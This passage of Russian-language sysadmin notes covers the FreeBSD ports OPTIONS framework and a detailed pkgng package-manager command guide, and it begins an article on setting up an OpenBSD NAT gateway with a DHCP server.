      WITH_FOO и WITHOUT_FOO
    - их значения не проверяются
    - несовместимость использования
    
    предложение:
    
    - простые опции (on или off)
    - сложные опции: по крайней мере 1 для N
    - простые: 1 и только 1 опция для N (исключительно)
    - каждая опция может иметь описание
    - опции maintainer'ов
    - системные опции
    - OPTIONS_DEFINE: port, maintainer
    - OPTIONS_DEFAULT: port, maintainer
    - OPTIONS_EXCLUDE: port, maintainer
    - OPTIONS_OVERRIDE: break everything
    - OPTIONS_SET= OPT1: user, make.conf
    - OPTIONS_UNSET= OPT1: user, make.conf
    - ${UNIQUENAME}_SET= OPT1 (zsh_SET) user, make.conf
    - ${UNIQUENAME}_UNSET= OPT1 (zsh_SET) user, make.conf
    - generic options desciptions - как это сейчас сделано в файле KNOBS
    
    совместимость
    
    1/ set the default global options
    2/ removes any global via OPTIONS_EXCLUDE
    3/ OPTIONS_DEFAULT: override previous
    4/ system-wide OPTIONS_(UN)SET
    5/ ${UNIQUENAME:U}_(UN)SET
    6/ compatibility: /var/db/ports/${UNIQUENAME}/options
       (note: usage of OPTIONS+= is deprecated)
    6/ new /var/db/ports/${UNIQUENAME}/options from dialog ui
    7/ automatic consistency check
    
    пример:
    
       OPTIONS_DEFINE= OPT1 OPT2 OPT3
       OPTIONS_MULTI= GRP1 GRP2
       OPTIONS_MULTI_GRP1= OPT4 OPT5
       OPTIONS_MULTI_GRP2= OPT6 OPT7
    
       OPTIONS_SINGLE= SEL1
       OPTIONS_SINGLE_SEL1= OPT8 OPT9 OPT10
       OPTIONS_DEFAULT= OPT2 OPT3 OPT9 OPT7 OPT8 OPT4
       OPTIONS_EXCLUDE= NLS DOCS
    
       OPT1_DESC= "Description of my option"
    
       # make show-config
    
       ===> The following configuration options are available:
       OPT1=off: Description of my option
       OPT2=on
       OPT3=on
       ====> Options available for the MULTI GRP1: you must choose
          at least one of them
       OPT4=on
       OPT5=off
       ====> Options available for the MULTI GRP2: you must choose
          at least one of them
       OPT6=off
       OPT7=on
       ====> Options available for the single SEL1: you must select
          only on of them
       OPT8=on
       OPT9=off
       OPT10=off
    
       # make pretty-print-config:
       -OPT1 +OPT2 +OPT3 GRP1[ +OPT4 -OPT5 ] GRP2[ -OPT6 +OPT7 ] \\
       SEL1( +OPT8 +OPT9 -OPT10 )
    
       # make check-config
       ====> You should select one and only one options from the \\
       SEL1 single
         *** Error code 1
    
    проверка опций в портах:
    
       .if !empty(PORTS_OPTIONS:MOPT1)
            @${ECHO_CMD} "the option OPT1 is set (aka on)"
       .else
            @${ECHO_CMD} "the option OPT1 is not set (aka off)"
       .endif
    
    
       
    Продолжение о пакетном менеджере PKGNG
    
    Итак, после установки пакетного менеджера PKGNG в систему, чтобы перейти
    на его использование, необходимо добавить в /etc/make.conf:
    
       WITH_PKGNG=yes
    
    пример вызова пусковика, который предлагает установку pkg из портов:
    
       # pkg -v
       The package management tool is not yet installed on your system.
       Do you want to fetch and install it now? [y/N]: y
       Bootstrapping pkg please wait
       Installing pkg-1.0.r5_1... done
       If you are upgrading from the old package format, first run:
    
         $ pkg2ng
       1.0-rc5
       #
    
    после установки из портов /usr/ports/ports-mgmt/pkg в систему и
    соответствующих настроек в /etc/make.conf, если у нас в /var/db/pkg
    уже находятся ранее установленные пакеты в старом формате pkg_add,
    необходимо:
    
    1) лучше руками сделать backup /var/db/pkg
    2) запустить pkg2ng - утилита сделает backup /var/db/pkg.bak
    и сконвертит ранее установленные пакеты в новом формате pkgng:
    
       # ls -la /var/db/pkg/
       total 84320
       drwxr-xr-x  2 root  wheel       512 Sep  1 21:56 .
       drwxr-xr-x  8 root  wheel       512 Sep  1 20:16 ..
       -rw-r--r--  1 root  wheel    120832 Sep  1 21:56 local.sqlite
       -rw-r--r--  1 root  wheel  86149120 Sep  1 20:20 repo.sqlite
       # 
    
    в июле 2012 порты перевели на новый Framework OPTIONSGS, утилита pkg-config
    была заменена на pkg-conf, всвязи с этими изменениями необходимо:
    
    - после апгрейда портов (/usr/ports), посмотреть внимательно
    /usr/ports/UPDATING (это нужно делать регулярно при апгрейде дерева портов)
    заменить pkg-cconfig на pkgconf:
    
       # portmaster -o devel/pkgconf devel/pkg-config
    
       или
    
       # pkg set -o devel/pkg-config:devel/pkgconf
       # pkg install -f devel/pkgconf
    
    или
    
       # pkg_delete -f pkg-config*
       # cd /usr/ports/devel/pkgconf
       # make install clean
    
    - для перехода на новые порты с новым Framework OPTIONSGS, перевести
    флаги в /etc/make.conf для сборки портов и options в новый формат:
    
       # /usr/ports/Tools/scripts/options2ng.sh -p
       (для конвертации /var/db/ports/name/options в новый формат)
    
       # /usr/ports/Tools/scripts/options2ng.sh -f /etc/make.conf
       # /usr/ports/Tools/scripts/options2ng.sh -f /usr/local/etc/ports.conf
       (если используем универсальный порт portsconf -> ports.conf его так же конвертируем в optionsng)
    
    если используем portmaster и планируем использовать его с pkgng,
    необходимо обновить до portmaster-3.13.13 с применением патча:
    
       # wget -Y off -t 0 -c --no-check-certificate https://raw.github.com/pkgng/pkgng/
    master/ports/patch-portmaster-pkgng
    
       # cp patch-portmaster-pkgng /usr/ports/ports-mgmt/portmaster/files
       # make -C /usr/ports/ports-mgmt/portmaster clean deinstall reinstall
    
    патч можно наложить прямо на уже установленную версию portmaster-3.13.13
    
    коротко:
    
    - первый запуск /usr/sbin/pkg (установит из портов /usr/ports/ports-mgmt/pkg)
    
       # pkg
    
    - создать ручной backup /var/db/pkg (старого формата pkg_add)
    
       # cp -R /var/db/pkg /var/tmp/pkg
    
    - запустить конвертацию старого формата packages в новый
    
       # pkg2ng
    
    получим backup старого /var/db/pkg -> /var/db/pkg.bak
    и новые базы sqlite для каждого репозитория в формате pkg:
    
    - local.sqlite (локально установленные пакеты через pkg)
    - repo.sqlite  (содержимое удаленного репозитория)
    
    pkg FAQ (portmaster): https://github.com/pkgng/pkgng/blob/master/FAQ.md
    
    до преобразования pkg2ng, выполнить:
    
       # portmaster -L (покажет установленные пакеты)
    
    после преобразования старой базы в базу pkg:
    
       # portmaster -L (покажет отсутствие пакетов)
    
    Если мы используем portmaster, необходимо его пропатчить для использования
    с pkg:
    
       # wget -Y off -t 0 -c --no-check-certificate https://raw.github.com/pkgng/pkgng/master/ports/patch-portmaster-pkgng
    
       # cp patch-portmaster-pkgng /usr/ports/ports-mgmt/portmaster/files
       # make -C /usr/ports/ports-mgmt/portmaster clean deinstall reinstall
       # echo "WITH_PKGNG=yes" >> /etc/make.conf
    
    проверка работы portmaster совместно с pkg:
    
       # portmaster -L (должен прочитать локальную базу pkg)
    
    Первичные настройки pkg:
    
    настройки в файле /usr/local/etc/pkg.conf, аналогичные переменные в среде
    перекроют настройки pkg.conf на момент выполнения:
    
       ASSUME_ALWAYS_YES  : [NO|YES]
       PACKAGESITE        : http://pkg.freebsd.org/${ABI}/latest (сайт репозитория)
       PKG_MULTIREPOS     : [NO|YES] (использовать несколько репозиториев)
    
    by default:
    
       PKG_DBDIR    = /var/db/pkg
       PKG_CACHEDIR = /var/cache/pkg
    
    репозитории задаются в pkg.conf
    
       # Repository definitions
       #repos:
       #  default : http://example.org/pkgng/
       #  repo1 : http://somewhere.org/pkgng/repo1/
       #  repo2 : http://somewhere.org/pkgng/repo2/
    
    некоторые общеупотребительные опции:
    
    -y - всегда отвечать "y [yes]", отменить интерактив
    -q - "без вывода сообщений на stdout", однако если неверно задано имя пакета
         вывод на stdout будет (почему просто не выдать код возврата "1"? )
    -f - выполнить "насильно" (или полная инфо в случае pkg info)
    -L - использовать только локальный кеш и запретить апдейт репозитория
    -r - задать репозиторий который будет использоваться
    
    использование шаблонов в пакетном менеджере pkg:
    
         -g  использовать как shell шаблон
         -x  использовать как регулярное выражение
         -X  использовать как расширенное регулярное выражение
    
    например: -g a* или -g "[0-z]*" или -g "*rar" или -g "?c"
              -x "perl-5*" или "^deco*$" или -x "^mc-*$" или -x "^mc-.*$"
              -x ".*rar$" и тд и тп
    
    справка:
    
       # pkg help
       # pkg help <command> - вызовет man pkg-command
    
    или
    
       # man pkg-command
    
    поиск требуемых пакетов:
    
    формат:
         pkg search pkg-name
         pkg search [-fDsqop] pkg-name
         pkg search [-gexXcdfDsqop] pattern
    
       # pkg search www/apache22
       # pkg search misc/mc
       # pkg search -x "^mc-*$"  (-x поиск по regexp)
       # pkg search -x "^mc-*"
    
       # pkg search -g "?c"      (-g поиск по shell global match)
       # pkg search -g "l?m*"
       # pkg search -g "[0-z]*"  (-g поиск по shell global match - все пакеты)
       # pkg search -g "[0-z]*" | sort -k 1,1 (показать все с сортировкой)
    
    запросить информацию с удаленного репозитория:
    
    формат:
    
         pkg rquery <query-format> <pkg-name>
         pkg rquery [-a] [-r reponame] <query-format>
         pkg rquery -e <evaluation-condition> [-r reponame] <query-format>
         pkg rquery [-gxX] [-r reponame] <query-format> <pattern> <...>
    
       # pkg rquery "шаблон" pkgname
    
    %d - зависимоть порта/пакета от других
    %r - другие зависят от данного порта/пакета
    %?d - 0/1 наличие зависимостей порта/пакета от других
    %?r - 0/1 наличие портов/пакетов которые зависят от указанного
    
    показать все пакеты удаленного репозитория:
    
       # pkg rquery -a "package: %n-%v"
       # pkg rquery -a "package: %n-%v - %c" (с комментарием)
       # pkg rquery -a "package: %n-%v size: %sh - %c" (размер + комментарий)
    
    посмотреть от каких портов зависит gtar и mc:
    
       # pkg rquery "tar depends %?d" gtar (0 - нет зависимостей, 1 -  есть)
       # pkg rquery "tar depends %?d" archivers/rar
    
       # pkg rquery "tar depends %do %dv" archivers/rar
       # pkg rquery "tar depends %do %dv" rar
       # pkg rquery "tar depends %do %dv" gtar
       # pkg rquery "tar depends %do %dv" archivers/gtar
    
       # pkg rquery "tar depends %do %dv" misc/mc
    
       # pkg rquery "pkg %n-%v require next deps: %dn-%dv" bash-4.2.37
    
    посмотреть какие порты требуют gtar и mc:
    
       # pkg rquery "tar depends %?r" gtar (0 - нет зависимостей, 1 - есть)
       # pkg rquery "tar depends %?r" archivers/rar
    
       # pkg rquery "tar depends %ro %rv" misc/mc
       # pkg rquery "pkg %n-%v needs for next packages: %rn-%rv" bash-4.2.37
    
    установка нужного пакета(ов) с локального или удаленного источника:
    
    
    формат:
    
         pkg add <pkg-name>
         pkg add <protocol>://<path>/<pkg-name>
    
       # pkg add /path/to/packages/foo-1.2.3.txz (установка локального пакета foo...)
       # pkg add http://example.org/pkgng-repo/foo-1.2.3.txz
       # pkg add  ftp://example.org/pkgng-repo/foo-1.2.3.txz
    (установка пакета foo-1.2.3.txz по ftp/http с удаленного репозитория)
    
    установка нужного пакета из репозитория:
    
    
    формат:
    
         pkg install [-AfgLnqRXxy] [-r reponame] <pkg-origin> ...
    
       # pkg install www/apach22
       # pkg install archivers/rar
       # pkg install mc
       # pkg install -y misc/mc
    ( -y == переменной среды или pkg.conf ASSUME_ALWAYS_YES )
    
       # pkg install -y -r repo1 audio/mpg123
    
    апгрейд заданного пакета осуществляется опцией -f
    
       # pkg install -f пакет
    
       # pkg install -fy archivers/rar (принудительно переустановить если уже есть)
    
    если со временем название пакетов звисимостей изменилось, а нам нужны
    пакеты в актуальном состоянии (или для последующего апгрейда) делают так:
    
    a) pkg set -o [<oldorigin>:<neworigin>] меняем старую зависимость на новую
    b) pkg install -fR category/name - переустанавливаем пакет name и рекурсивно
    все пакеты которые о него зависят (-R - переустановить все пакеты которые
    зависят от устанавливаемого)
    
       # pkg set -o graphics/libglut:graphics/freeglut (заменили libglut на freeglut)
       # pkg install -Rf graphics/freeglut (установили freeglut и все что от него зависит)
    
    или пример с обновлением ветки emacs, создали новый порт editors/emacs
    и оставили старый как editors/emacs23, который мы хотим оставить, но
    установлен он у нас был как editors/emacs, выполняем:
    
       # pkg set -o editors/emacs:editors/emacs23
    
    устанавливаем без апдейта удаленного репозитория, только через локальный (-L)
    
       # pkg install -yL rar-4.1.1,3 unrar-4.20,5
    
    если мы хотим установить пакет который имеет зависимости и впоследствии
    удалить его разом с зависимостями, его можно установить с пометкой как
    orphan (сирота) опция -A
    
       # pkg install -yAfL mc-4.8.1.1_1
    
    решили удалить его махом вместе с зависимостями - autoremove:
    
       # pkg autoremove -y
    
    посмотреть какие пакеты были установлены с флагом autoremove:
    
       # pkg query -a "installed package %o %v has autoremove flag = %a"
    или
       # pkg query -a "installed package %n-%v has autoremove flag = %a"
    
    получить информацию от локального репозитория об установленных пакетах:
    
         
    формат:
    
         pkg query <query-format> <pkg-name>
         pkg query [-a] <query-format>
         pkg query -F <pkg-name> <query-format>
         pkg query -e <evaluation-condition> <query-format>
         pkg query [-gxX] <query-format> <pattern> <...>
    
       # pkg query - всегда требуется задание формата <query-format>
    
       # pkg query "%Fp %Fs %sh" portmaster-3.13.13
    
       # pkg query " %n-%v \\n ports: %o\\n desc: %c\\n home: %w\\n pkg size: %sh" portmaster-3.13.13
    
    запросить информацию о динамических библиотеках пакета:
    
       # pkg query %Fp имя_пакета | grep -E '/lib[^/]+\\.so\\.[0-9]+$'
    
    показать информацию о всех пакетах БЕЗ и C autoremove флагом:
    
       # pkg query -e '%a == 0' '%n-%v'
    и
       # pkg query -e '%a == 1' '%o'
    
    показать все пакеты больше 50MB:
    
        # pkg query -e "%s > 50000000" "%n-%v is bigger than 50MB: %sh"
    python27-2.7.3_3 is bigger than 50MB: 67 MB
        #
    
    показать все пакеты больше 50MB и были установлены автоматически:
    
        # pkg query -e "%s > 50000000 && %a == 1" "%n-%v is bigger than 50MB: %sh and has been automatically installed"
    
    аудит установленных пакетов (проверка на известные уязвимости):
    
    формат:
    
         pkg audit [-Fq] <pkg-name>
    
       # pkg audit perl-5.14.2_2
       # pkg audit -F perl-5.14.2_2 (скачать базу перед проверкой)
    
    аудит сайт: http://portaudit.FreeBSD.org/auditfile.tbz
    
    изменение информации в базе установленных пакетов:
    
    
    формат:
    
      pkg set [-a] [-A [01]] [-o <oldorigin>:<neworigin>] [-y] [-xXg] <pkg-name>
    
       # pkg set -o devel/pkg-config:devel/pkgconf
       # pkg set -o graphics/libglut:graphics/freeglut
    
    установить флаг autoremove для заданного пакета:
    
       # pkg set -A 1 mc-4.8.1.1_1
    
    снять флаг autoremove:
    
       # pkg set -A 0 mc-4.8.1.1_1 
    
    информация по установленным пакетам:
    
    
    формат:
    
         pkg info <pkg-name>
         pkg info -a
         pkg info [-eDgxXEdrlsqopOfRF] <pkg-name>
         pkg info [-drlsq] -F <pkg-file>
    
       # pkg info
       deco-3.9_4                     Demos Commander, a free Norton  Commander clone
       pkg-1.0                        New generation package manager
       portmaster-3.13.13             Manage your ports without external databases or languages
    
       # pkg info -a   (-a - все установленные пакеты)
       deco-3.9_4                     Demos Commander, a free Norton Commander clone
       pkg-1.0                        New generation package manager
       portmaster-3.13.13             Manage your ports without external databases or languages
       #
    
       # pkg info deco  (инфо по указанному пакету)
       deco-3.9_4                     Demos Commander, a free Norton Commander clone
       #
    
       # pkg info -f deco (полная инфо по указанному пакету)
       Name           : deco
       Version        : 3.9_4
       Origin         : misc/deco
       Prefix         : /usr/local
       Categories     : misc
       Maintainer     : ports@FreeBSD.org
       WWW            : http://deco.sourceforge.net/
       Comment        : Demos Commander, a free Norton Commander clone
       Flat size      : 159 kB
       Description    : 
       A clone of Norton Commander for Unix.  Text-based,
       full featured file manager intuitive interface.
    
       WWW: http://deco.sourceforge.net/
       #
    
       # pkg info -D pkg (-D показать pkg-message)
       If you are upgrading from the old package format, first run:
    
       # pkg2ng
    
       # pkg info -d png-1.5.12
       png-1.5.12 depends on:
    #
       # pkg info -d mc или (pkg info -d mc-4.8.1.1_1) 
       mc-4.8.1.1_1 depends on:
       gamin-0.1.10_4
       gettext-0.18.1.1
       gio-fam-backend-2.28.8_1
       glib-2.28.8_4
       libiconv-1.14
       libslang2-2.2.4_3
       pcre-8.31
       perl-5.14.2_2
       pkgconf-0.8.5
       png-1.5.12
       python27-2.7.3_3
    
       # pkg info -r perl-5.14.2_2
       perl-5.14.2_2 is required by:
       glib-2.28.8_4
       gamin-0.1.10_4
       gio-fam-backend-2.28.8_1
       mc-4.8.1.1_1
    
    
    посмотреть динамические библиотеки установленные с пакетом:
    
       # pkg info -B pkg
     
    удаление пакетов:
    
    
    формат:
    
         pkg delete [-fgnqRXxy] <pkg-name> ...
         pkg delete [-nqy] -a
    
       # pkg delete rar
       # pkg delete -y rar
    
       # pkg delete -y rar unrar
       # pkg delete -x ".*rar$" (удаление с использованием regexp)
    
    отчет по версиям установленных пакетов:
    -----------------------------------------
    формат:
    
         pkg version [-IPR] [-hoqv] [-l limchar] [-L limchar] [-Xxge pattern]
             [-r reponame] [-O origin] [index]
         pkg version -t version1 version2
         pkg version -T <pkgname> <pattern>
    
        # pkg version
    
    если существует дерево портов, то оно используется для срванения
    с версиями установленных пакетов посредством pkg
    
       # pkg version -P    (использовать дерево портов для сравнения с пакетами)
       deco-3.9_4                         =
       pkg-1.0                            =
       portmaster-3.13.13                 =
       #
    
       # pkg version -R   (использовать репозиторий для определения out  of date pkg)
       deco-3.9_4                         =
       pkg-1.0                            >
       portmaster-3.13.13                 =
       #
    
       # pkg version -vRL=  
       pkg-1.0                            >   succeeds remote (remote has 1.0.r5_1)
       # pkg version -vRL\\<
       deco-3.9_4                         =   up-to-date with remote
       pkg-1.0                            >   succeeds remote (remote has  1.0.r5_1)
       portmaster-3.13.13                 =   up-to-date with remote
       # pkg version -vRL\\>
       deco-3.9_4                         =   up-to-date with remote
       portmaster-3.13.13                 =   up-to-date with remote
       #
    
    проверка целостности установленных пакетов:
    
    
    формат:
    
         pkg check [-Bdsr] [-vy] [-a | -gxX <pattern>]
    
       # pkg check [-Bdsr] [-vy] [-a | -gxX <pattern>]
    
    -B - анализ SHLIBS установленных пакетов
    -d - проверка на отсутствие зависимостей
    -r - пересчитать размер и checksums
    -s - найти неверные checksums
    -v - verbose (использовать чтобы увидеть реально работу)
    
       # pkg check -d или -r или -s или
    
    поиск принадлежности файла пакету:
    
    
    формат:
    
         pkg which [-qo] <file>
    
       # pkg which /usr/local/bin/gdbus
       /usr/local/bin/gdbus was installed by package glib-2.28.8_4
       # pkg which /usr/local/bin/idle 
       /usr/local/bin/idle was installed by package python27-2.7.3_3
       # pkg which -o /usr/local/bin/idle
       /usr/local/bin/idle was installed by package lang/python27
       #
    
    обновить локальную копию репозитория данными из удаленного репозитория:
    
    
    формат:
    
         pkg update [-fq]
    
       # pkg update -f (принудительно полностью скачать удаленный репозиторий
    и обновить локальный без сравнения на свежесть локального с удаленным)
    
    выполнить апгрейд установленных пакетов:
    
    
    формат:
    
         pkg upgrade [-fLnqy] [-r reponame]
    
       # pkg upgrade -f (принудительный апгрейд всех пакетов)
       # pkg upgrade -yf
       # pkg upgrade -yfL (принудительный апгрейд всех пакетов без обновления
                        репозитория)
    
    по умолчанию pkg upgrade сначала обновляет репозиторий (pkg update),
    затем производит апгрейд всех пакетов.
    
       # pkg upgrade -n (посмотреть без реального выполнения апгрейда)
    
    прим: не путать с индивидуальным апгрейдом пакета
          # pkg install -yfR mc-4.8.1.1_1
          # pkg install -yfRL mc-4.8.1.1_1
    
    статистика локального и удаленного репозитория:
    
    формат:
    
         pkg stats [-qlr]
    
       # pkg stats
       Local package database:
            Installed packages: 3
            Disk space occupied: 6932 kB
    
       Remote package database(s):
            Number of repositories: 1
            Packages available: 22212
            Unique packages: 22212
            Total size of packages: 96 GB
    
       # pkg stats -l (статистика только по локальной копии репозитория)
       # pkg stats -r (статистика только по удаленному репозиторию)
    
    скачать пакет и его зависимости из удаленного репозитория:
    
    
    формат:
    
         pkg fetch [-r reponame] [-yqgxXadL] <pkg-name> [...]
    
       # pkg fetch -a (скачать все пакеты)
       # pkg fetch -yL bash-4.2.37
       # pkg fetch -yd clamav-0.97.5_1 (скачать clamav и все пакеты от которых он зависит)
    
    пакеты будут сохранены в PKG_CACHEDIR (/var/cache/pkg/All)
    
    создание пакетов для дальнейшего использования:
    
    
    формат:
    
         pkg create [-n] [-f format] [-o outdir] [-p plist] [-r rootdir] -m
             manifestdir
         pkg create [-gnxX] [-f format] [-o outdir] [-r rootdir] pkg-name ...
         pkg create [-n] [-f format] [-o outdir] [-r rootdir] -a
    
    создание пакетов в формате pkg из всех ранее установленных в системе
    портов или пакетов и сохранение их в /usr/ports/packages/All:
     
       # pkg create -a -o /usr/ports/packages/All
    
    создание одного пакета в формате pkg установленных ранее из портов:
    
       # pkg create -o /usr/ports/packages/All packagename
    
    очистка локального кеша - данных об удаленных пакетах которые out-of-date и
    которые больше не сопровождаются:
    
    
       # pkg clean
    
    более здесь расписывать нечего :)
    
    создание репозитория:
    
    
    формат:
    
         pkg repo [-fq] <repo-path> [rsa-key]
    
    пример создания собственного локального репозитория из всех установленных
    у нас пакетов:
    
       # cd /scratch/huge_free_space
       # pkg create -a
       # pkg repo .
    
    теперь можем использовать собственный репозиторий для установки через
    pkg add/install
    
    регистрация уже установленных пакетов или портов в локальной базе:
    
    
    формат:
    
         pkg register [-ld] -f <plist-file> -m <metadatadir> -i <input-path>
    
    ... в man'е вроде описано, но как применить непонятно...
    
    посмотреть какие пакеты слинкованы со специфичными shared library:
    
    
    формат:
    
         pkg shlib <library>
    
       # pkg shlib libpkg.so.0
       libpkg.so.0 is linked to by the folowing packages:
       pkg-1.0
       #
    
    динамическая библиотека задается без пути но включая версию ABI,
    при поиске используется точное соответствие.
    
    прим: непонятно как работает, не показывает явные зависимости, при
    взведенной переменной SHLIBS как в pkg.conf, так и в среде.
    
    dump/restore локальной базы данных:
    
    формат:
    
         pkg backup -d <dest_file>
         pkg backup -r <src_file>
    
    прозрачная команда:
    
       # pkg backup -d /var/tmp/pkgng_db.dump
       # pkg backup -r /var/tmp/pkgng_db.dump
    
    взаимодействие с базами пакетов:
    
    
    формат:
            
         pkg shell
    
    pkg shell - предоставляет доступ к локальной и удаленной базе пакетов
    через консоль sqlite, например:
    
       # echo 'select * from packages;' | pkg shell
       # echo 'select origin,name,version,comment from packages;' | pkg shell
    
    показать какие есть базы:
    
       # echo '.databases' | pkg shell
       seq  name             file                                                      
       0    main             /var/db/pkg/local.sqlite                                  
    
    какие есть таблицы:
    
       # echo '.tables' | pkg shell
       categories       licenses         pkg_directories  scripts        
       deps             mtree            pkg_groups       shlibs         
       directories      options          pkg_licenses     users          
       files            packages         pkg_shlibs     
       groups           pkg_categories   pkg_users      
    
    схему таблицы:
    
       # echo '.schema packages' | pkg shell
    
       CREATE TABLE packages (id INTEGER PRIMARY KEY,origin TEXT UNIQUE NOT NULL,name TEXT NOT NULL,version TEXT NOT NULL,comment TEXT NOT NULL,desc TEXT NOT NULL,mtree_id INTEGER REFERENCES mtree(id) ON DELETE RESTRICT ON UPDATE CASCADE,message TEXT,arch TEXT NOT NULL,maintainer TEXT NOT NULL, www TEXT,prefix TEXT NOT NULL,flatsize INTEGER NOT NULL,automatic INTEGER NOT NULL,licenselogic INTEGER NOT NULL,infos TEXT, time INTEGER, pkg_format_version INTEGER); 
      #
    
     
    ----* Шлюз (NAT) + DHCP-сервер на OpenBSD для начинающих   Автор: Калегин Сергей Николаевич  [комментарии]
     
    В этой статье я хочу рассказать о своём опыте создания шлюза на базе
    операционной системы (ОС) OpenBSD, так как, по-моему, это оптимальное решение
    для большинства организаций, офисов и, в особенности, для дома. Здесь я не буду
    давать подробные теоретические выкладки, коих и так полно в Интернете и
    документации, а просто постараюсь кратко и лаконично изложить основные шаги для
    достижения цели. Но прежде чем начать непосредственно демонстрацию настроек
    OpenBSD и соответствующего софта, хотелось бы внести некоторую ясность по
    поводу моих предпочтений.
    
    Итак. Почему я выбрал в качестве основы для сервера (шлюза) именно систему
    OpenBSD, а не какую-то другую? Этот выбор не случайный, а вполне обоснованный,
    и причин для выбора данной ОС более чем достаточно. Дело в том, что до OpenBSD
    мне приходилось работать со многими системами (DOS, Windows, Linux, Lindows,
    BeOS, FreeBSD и т.д.), однако ни одна из них меня настолько не впечатлила своей
    простотой, целостностью, гибкостью и надёжностью как OpenBSD и, её основа,
    NetBSD (но последняя заслуживает отдельной статьи). Причём простота заключается
    не только в управлении самой операционной системой, но и в установке, настройке
    и нетребовательности к ресурсам компьютера. Ведь для работы данной ОС подходит
    практически ЛЮБОЙ компьютер (даже Pentium I), а вся установка OpenBSD занимает
    чуть больше минуты! Разве это не замечательно?... Особенно если посмотреть на
    это с точки зрения финансово-временных затрат, которые в большинстве случаев
    играют ключевую роль при выборе и установке сервера как в офисе, так и дома. Да
    к тому же OpenBSD распространяется свободно и абсолютно бесплатная! Более того,
    эта система считается самой безопасной ОС в мире! Надеюсь, данных аргументов
    достаточно для того, чтобы вы хотябы дочитали эту статью до конца, а там
    решайте сами.
    
    Для начала давайте определимся чего мы хотим, что конкретно и как должен делать наш сервер.
    
    Если это обычный шлюз (типа "мост"), то достаточно просто включить
    перенаправление сетевого трафика с одной сетевой карты на другую и всё.
    Делается это правкой всего двух-трёх конфигурационных файлов. Если же наш
    сервер должен выполнять ещё какие-то функции, то это уже сложнее, но не намного.
    
    Возьмём более или менее стандартную ситуацию. Допустим нам нужно
    просто-напросто соединить локальную сеть провайдера, типа 10.135.62.0 (класса
    A), провод от которой приходит к нам в дом или офис, и нашу внутреннюю
    (локальную) сеть Ethernet, типа 172.18.7.0 (класса B), которая проложена по
    офису или квартире. Адреса сетей могут быть и другими (и других классов), это
    несущественно. Практически то же самое представляет собой соединение через
    ADSL- или кабельный модем, который имеет обычный сетевой выход и выполняет
    функцию роутера.
    
    Плюс к этому, для уменьшения точек (узлов) настройки и облегчения
    администрирования, на шлюз мы поставим DHCP-сервер, который будет автоматически
    назначать адреса всем компьютерам локальной сети. Теперь, когда задача ясна,
    приступим к её решению. Для этого понадобится сделать всего 4 шага:
    
    1) Выбрать компьютер для нашего шлюза (возьмём старый и дешёвый IBM PC Pentium II);
    2) Установить и настроить саму ОС (мы будем ставить OpenBSD 4.8 для платформы i386);
    3) Настроить пересылку пакетов (трансляцию трафика) между сетевыми интерфейсами;
    4) Настроить сервер DHCP (DHCPD).
    
    На выполнение всех этих действий уйдёт всего несколько минут! Итак, приступим.
    
    1) Для шлюза можно взять любой старый компьютер (например, приготовленный на
    выброс или списанный в утиль) или, при его отсутствии, покупаем такой компьютер
    через Интернет или у знакомых (или берём старьё в другой организации). Стоит он
    копейки, или даже совсем ничего не стоит, так как это хлам. Также, можно
    собрать такую машину из старых запчастей, которых в организациях и у
    компьютерщиков, обычно, навалом! Не забудьте поставить в него 2 сетевые карты
    (ведь сети у нас 2).
    
    2) Скачиваем с официального сайта http://openbsd.org/ последний (хотя
    необязательно) стабильный релиз ОС OpenBSD (лучше сразу ISO-образ) для
    выбранного компьютера и записываем его на CD или DVD (ну или на другой
    носитель, если вы будете ставить систему с него). Затем вставляем этот диск в
    наш будущий сервер и грузимся с него.
    Для начала установки нужно нажать клавишу (букву) "i" (install). 
    
    Затем вы должны ответить на несколько простых вопросов (типа какой раскладкой
    вы будете пользоваться, в каком часовом поясе находитесь, каким будет сетевое
    имя компьютера, к какому DNS-имени (домену) подключиться и т.д.), а также
    задать настройки сетевых интерфейсов (сетевых карт), хотя это можно сделать и
    после установки. Здесь хотелось бы дать несколько рекомендаций:
    
    - Стандартную раскладку клавиатуры лучше не менять (по умолчанию будет "English US");
    - Временной пояс лучше поставить свой (например Europe/Moscow);
    - Имя машины (системы) можно взять любое, но лучше с указанием на домен, например mytest.lan;
    - Сетевые интерфейсы в OpenBSD называются по разному, например fxp0 или rtl0
    (зависит от чипа на сетевой карте). Смотрите внимательно что и как вы
    настраиваете и о чём вас спрашивает установщик, иначе потом придётся
    перенастраивать всё вручную.
    
    После того как вы ответили на все вопросы по настройке системы, будет
    предложено разбить HDD на разделы (без опыта работы с fdisk-ом лучше этого не
    делать!). В нашем случае компьютер тарый и объём HDD не настолько большой,
    чтобы его "пилить" на части, поэтому будем использовать весь диск целиком (по
    умолчанию). Просто нажимаем Enter и идём дальше. Затем будет выдан список
    пакетов для установки. Тут я рекомендую убрать игры, многопроцессорную
    поддержку (если у вас в компьютере только один процессор) и всё, что касается
    графической системы X Window. Делается это очень просто:
    
     -game*  (затем нажать Enter);
     -bsd.mp  (затем нажать Enter);
     -x*   (затем нажать Enter);
    
    Всё. Далее останется дождаться конца установки (примерно 1-2 минуты) и указать
    какие сервисы (демоны) нужно запускать вместе с системой. Здесь можно
    отказаться от запуска почти всего кроме, наверное, sshd (это сервер удалённого
    управления по SSH). После установки желательно перезагрузить компьютер (команда reboot).
    
    3) Теперь у нас есть действующий сервер с уже работающими и подключёнными
    сетевыми интерфейсами, если конечно вы их правильно настроили при установке.
    Если нет, тоже не так страшно, просто отредактируйте конфигурационные файлы
    сетевых карт типа /etc/hostname.fxp0 и /etc/hostname.rtl0 (здесь
    предполагается, что ваши сетевушки определены как fxp0 и rtl0).
    
    Посмотреть список всех подобных файлов можно командой ls, например:
    
       ls /etc/hostname.*
    
    Чтобы убедиться в правильности настроек, можно вывести параметры всех сетевых
    интерфейсов с помощью команды ifconfig, например так:
    
       ifconfig -a
    
    или же просто пустить ping на те адреса, которые вы указали в настройках, например:
    
       ping 10.135.62.26  (где 10.135.62.26 IP-адрес от Вашего провайдера или модема)
    
    и
    
       ping 172.18.7.1  (где 172.18.7.1 IP-адрес Вашего внутреннего интерфейса)
    
    Если проверка прошла успешно, переходим к настройкам трансляции сетевого
    трафика между нашими сетями (NAT). Для этого достаточно включить forwarding
    (пересылку) в файле /etc/sysctl.conf:
    
       net.inet.ip.forwarding=1 (для протокола TCP 4-й версии)
    
    и/или
    
       net.inet6.ip6.forwarding=1  (для TCP 6-й версии, если она используется)
    
    А также настроить встроенный пакетный фильтр (pf) на работу в качестве NAT
    (Network Address Translation). Делается это в файле конфигурации /etc/pf.conf с
    помощью параметра nat-to, например так:
    
